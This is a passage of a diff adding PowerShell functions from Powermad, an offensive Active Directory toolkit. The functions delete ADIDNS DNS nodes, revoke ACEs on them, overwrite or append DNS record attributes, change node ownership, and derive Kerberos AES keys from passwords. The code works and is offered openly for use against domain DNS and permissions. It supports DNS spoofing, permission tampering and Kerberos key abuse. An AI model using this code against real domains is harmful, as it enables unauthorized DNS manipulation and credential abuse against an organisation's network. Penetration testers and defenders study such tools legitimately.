+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $directory_entry.psbase.DeleteTree()
+ Write-Output "[+] ADIDNS node $Node removed"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Revoke-ADIDNSPermission
+{
+ <#
+ .SYNOPSIS
+ This function removes an ACE to an ADIDNS node or zone DACL.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function is mainly for removing the ACE associated with the user that created the DNS node
+ after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones,
+ non-administrators will rarely have the ability to modify a DNS zone.
+
+ .PARAMETER Access
+ Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
+ DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
+ ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to modify the DACL.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node or zone.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Principal
+ The ACE user or group.
+
+ .PARAMETER Type
+ Default = Allow: The ACE allow or deny access type.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Remove the GenericAll ACE associated for the user1 account.
+ Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
+ "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
+ "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
+ [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$false)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Principal,
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+
+ if($Node)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ }
+ else
+ {
+ $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=DomainDNSZones"
+ }
+
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $NT_account = New-Object System.Security.Principal.NTAccount($Principal)
+ $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
+ $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
+ $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
+ $access_control_type = [System.Security.AccessControl.AccessControlType]$Type
+ $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
+ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ try
+ {
+ $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null
+ $directory_entry.psbase.CommitChanges()
+ Write-Output "[+] ACE removed for $Principal"
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ return $output
+}
+
+function Set-ADIDNSNodeAttribute
+{
+ <#
+ .SYNOPSIS
+ This function can append, populate, or overwite values in an ADIDNS node attribute.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can append, populate, or overwite values in an ADIDNS node attribute.
+
+ .PARAMETER Append
+ Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute
+ to create multiple DNS records of the same name for round robin, etc.
+
+ .PARAMETER Attribute
+ The ADIDNS node attribute.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to modify the attribute.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Value
+ The attribute value.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Set the writable description attribute on a node named test.
+ Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete"
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Attribute,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$true)]$Value,
+ [parameter(Mandatory=$false)][Switch]$Append,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+
+ if($Append)
+ {
+ $directory_entry.$Attribute.Add($Value) > $null
+ $directory_entry.SetInfo()
+ Write-Output "[+] $attribute appended"
+ }
+ else
+ {
+ $directory_entry.InvokeSet($Attribute,$Value)
+ $directory_entry.SetInfo()
+ Write-Output "[+] $attribute updated for $Node"
+ }
+
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+}
+
+function Set-ADIDNSNodeOwner
+{
+ <#
+ .SYNOPSIS
+ This function can sets the owner of an ADIDNS Node.
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+ This function can sets the owner of an ADIDNS Node.
+
+ .PARAMETER Attribute
+ The ADIDNS node attribute.
+
+ .PARAMETER Credential
+ PSCredential object that will be used to read the attribute.
+
+ .PARAMETER DistinguishedName
+ Distinguished name for the ADIDNS node.
+
+ .PARAMETER Domain
+ The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+ parameter.
+
+ .PARAMETER DomainController
+ Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+ .PARAMETER Node
+ The ADIDNS node name.
+
+ .PARAMETER Partition
+ Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone) The AD partition name where the zone is stored.
+
+ .PARAMETER Principal
+ The user or group that will be granted ownsership.
+
+ .PARAMETER Zone
+ The ADIDNS zone.
+
+ .EXAMPLE
+ Set the owner of a node named test to user1.
+ Set-ADIDNSNodeOwner -Node test -Principal user1
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$false)][String]$DistinguishedName,
+ [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$DomainController,
+ [parameter(Mandatory=$true)][String]$Node,
+ [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones",
+ [parameter(Mandatory=$true)][String]$Principal,
+ [parameter(Mandatory=$false)][String]$Zone,
+ [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+ )
+
+ if($invalid_parameter)
+ {
+ Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+ throw
+ }
+
+ if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Zone))
+ {
+
+ try
+ {
+ $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ throw
+ }
+
+ }
+
+ if(!$DomainController)
+ {
+ $DomainController = $current_domain.PdcRoleOwner.Name
+ Write-Verbose "[+] Domain Controller = $DomainController"
+ }
+
+ if(!$Domain)
+ {
+ $Domain = $current_domain.Name
+ Write-Verbose "[+] Domain = $Domain"
+ }
+
+ if(!$Zone)
+ {
+ $Zone = $current_domain.Name
+ Write-Verbose "[+] ADIDNS Zone = $Zone"
+ }
+
+ if(!$DistinguishedName)
+ {
+ $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+ $DC_array = $Domain.Split(".")
+
+ ForEach($DC in $DC_array)
+ {
+ $distinguished_name += ",DC=$DC"
+ }
+
+ Write-Verbose "[+] Distinguished Name = $distinguished_name"
+ }
+ else
+ {
+ $distinguished_name = "$DistinguishedName"
+ }
+
+ if($Credential)
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+ }
+ else
+ {
+ $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+ }
+
+ try
+ {
+ $account = New-Object System.Security.Principal.NTAccount($Principal)
+ $directory_entry.PsBase.ObjectSecurity.setowner($account)
+ $directory_entry.PsBase.CommitChanges()
+
+ }
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
+
+ if($directory_entry.Path)
+ {
+ $directory_entry.Close()
+ }
+
+ return $output
+}
+
+#endregion
+
+#region begin Miscellaneous Functions
+
+function Get-KerberosAESKey
+{
+ <#
+ .SYNOPSIS
+ Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
+ results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
+
+ https://tools.ietf.org/html/rfc3962
+ https://msdn.microsoft.com/library/cc233855.aspx
+
+ Author: Kevin Robertson (@kevin_robertson)
+ License: BSD 3-Clause
+
+ .PARAMETER Password
+ [String] Valid password.
+
+ .PARAMETER Salt
+ [String] Concatenated string containing the realm and username/hostname.
+ AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator)
+ AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase
+ realm (e.g., TEST.LOCALhostwks1.test.local)
+
+ .PARAMETER Iteration
+ [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the
+ default of 4096.
+
+ .PARAMETER OutputType
+ [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings.
+ AES128Byte and AES256Byte will output byte arrays.
+
+ .EXAMPLE
+ Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1
+ Verify results against first RFC3962 sample test vectors in section B.
+
+ .EXAMPLE
+ Get-KerberosAESKey -Salt TEST.LOCALuser
+ Generate keys for a valid AD user.
+
+ .LINK
+ https://github.com/Kevin-Robertson/Powermad
+ #>
+
+ [CmdletBinding()]
+ param
+ (
+ [parameter(Mandatory=$true)][String]$Salt,
+ [parameter(Mandatory=$false)][System.Security.SecureString]$Password,
+ [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES",
+ [parameter(Mandatory=$false)][Int]$Iteration=4096
+ )
+
+ if(!$Password)
+ {
+ $password = Read-Host -Prompt "Enter password" -AsSecureString
+ }
+
+ $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
+ $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
+
+ [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext)
+ [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
+ $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4
+ $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93
+ $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
+ $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration)
+ $PBKDF2_AES256_key = $PBKDF2.GetBytes(32)
+ $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15]
+ $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-",""
+ $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-",""
+ Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string"
+ Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string"
+ $AES = New-Object "System.Security.Cryptography.AesManaged"
+ $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
+ $AES.Padding = [System.Security.Cryptography.PaddingMode]::None
+ $AES.IV = $IV
+ # AES 256
+ $AES.KeySize = 256
+ $AES.Key = $PBKDF2_AES256_key
+ $AES_encryptor = $AES.CreateEncryptor()
+ $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length)
+ $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length)
+ $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15]
+ $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-",""
+ # AES 128
+ $AES.KeySize = 128
+ $AES.Key = $PBKDF2_AES128_key
+ $AES_encryptor = $AES.CreateEncryptor()
+ $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length)
+ $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-",""
+ Remove-Variable password_cleartext
+
+ switch($OutputType)
+ {
+
+ 'AES'
+ {
+ Write-Output "AES128 Key: $AES128_key_string"
+ Write-Output "AES256 Key: $AES256_key_string"
+ }
+
+ 'AES128'
+ {
+ Write-Output "$AES128_key_string"
+ }
+
+ 'AES256'
+ {
+ Write-Output "$AES256_key_string"
+ }
+
+ 'AES128ByteArray'
+ {
+ Write-Output $AES128_key
+ }
+
+ 'AES256ByteArray'
+ {
+ Write-Output $AES256_key
+ }
+
+ }
+
+}
+
+#endregion \ No newline at end of file